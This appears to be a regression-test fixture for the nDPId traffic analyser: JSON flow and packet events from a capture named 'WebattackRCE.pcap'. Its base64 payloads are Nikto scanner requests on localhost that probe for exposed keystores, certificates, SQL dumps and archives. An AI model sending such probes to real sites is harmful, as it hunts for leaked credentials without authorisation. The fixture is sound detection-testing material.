+00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":249,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1576420277055,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50042,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":250,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1576420277057,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50044,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":57314,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBgcdAAEAGum1\/AAABfwAAAcN8H5AHG7m2UJwwhYAYAED+tQAAAQEICp1m\/GmdZvxpR0VUIC8xMjcuMC5lZ2cgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":250,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1576420277057,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50044,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":251,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1576420277058,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50046,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":251,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":58884,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB8E5AAEAGS+Z\/AAABfwAAAcN+H5BxG8g961ERj4AYAED+tQAAAQEICp1m\/GqdZvxqR0VUIC8xMjcuMC5qa3MgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":251,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1576420277058,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50046,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":252,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1576420277060,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50048,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":252,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":252,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":60374,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB8w9AAEAGSSV\/AAABfwAAAcOAH5AJpMt9MSZkIYAYAED+tQAAAQEICp1m\/GydZvxsR0VUIC8xMjcuMC5qa3MgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":252,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1576420277060,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50048,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1576420277061,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50050,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":253,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":61853,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDv8dAAEAGfGt\/AAABfwAAAcOCH5BIh4e15F5tqYAYAED+twAAAQEICp1m\/G2dZvxtR0VUIC8xMjcuMC4wLmprcyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1576420277061,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50050,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":254,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":1,"flow_first_seen":1576420277063,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50052,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":254,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":63221,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDTFBAAEAG7+J\/AAABfwAAAcOEH5DLhXRAbe\/JloAYAED+twAAAQEICp1m\/G+dZvxvR0VUIC8xMjcuMC4wLmprcyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":254,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":254,"flow_packet_id":1,"flow_first_seen":1576420277063,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50052,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":255,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":1,"flow_first_seen":1576420277064,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50054,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":255,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":64646,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCx41AAEAGdKZ\/AAABfwAAAcOGH5Ab+v\/67hwkoIAYAED+tgAAAQEICp1m\/HCdZvxwR0VUIC8xMjcwMDEuamtzIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":255,"flow_packet_id":1,"flow_first_seen":1576420277064,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50054,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":1,"flow_first_seen":1576420277066,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50056,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":256,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":66017,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC4+FAAEAGWFJ\/AAABfwAAAcOIH5A1wtuuFoHVMYAYAED+tgAAAQEICp1m\/HGdZvxxR0VUIC8xMjcwMDEuamtzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":256,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":256,"flow_packet_id":1,"flow_first_seen":1576420277066,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50056,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":257,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":1,"flow_first_seen":1576420277067,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50058,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":257,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":67624,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCfFhAAEAGv9t\/AAABfwAAAcOKH5CRgEQl8Paa6IAYAED+tgAAAQEICp1m\/HOdZvxzR0VUIC8wLnRhci5sem1hIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":257,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":1,"flow_first_seen":1576420277067,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50058,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":258,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":1,"flow_first_seen":1576420277070,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50060,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":258,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":258,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":70198,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCXGdAAEAG38x\/AAABfwAAAcOMH5AiiWQXZDyqFoAYAED+tgAAAQEICp1m\/HadZvx1R0VUIC8wLnRhci5sem1hIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":258,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":258,"flow_packet_id":1,"flow_first_seen":1576420277070,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50060,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":259,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":1,"flow_first_seen":1576420277072,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50062,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":259,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":259,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":72030,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDQNZAAEAG+1x\/AAABfwAAAcOOH5A+53ionbjt1YAYAED+twAAAQEICp1m\/HedZvx3R0VUIC8xMjcuMC4wLmNlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":259,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":259,"flow_packet_id":1,"flow_first_seen":1576420277072,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50062,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":260,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":1,"flow_first_seen":1576420277074,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50064,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":260,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":260,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":74360,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDdgpAAEAGxih\/AAABfwAAAcOQH5DZ8k59fiDl9oAYAED+twAAAQEICp1m\/HqdZvx6R0VUIC8xMjcuMC4wLmNlciBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":260,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":260,"flow_packet_id":1,"flow_first_seen":1576420277074,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50064,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":261,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":1,"flow_first_seen":1576420277075,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50066,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":261,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":75869,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9f6pAAEAGvI5\/AAABfwAAAcOSH5AexUfewusNb4AYAED+sQAAAQEICp1m\/HudZvx7R0VUIC8xLnNxbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":261,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":261,"flow_packet_id":1,"flow_first_seen":1576420277075,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50066,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":262,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":262,"flow_packet_id":1,"flow_first_seen":1576420277077,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50068,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 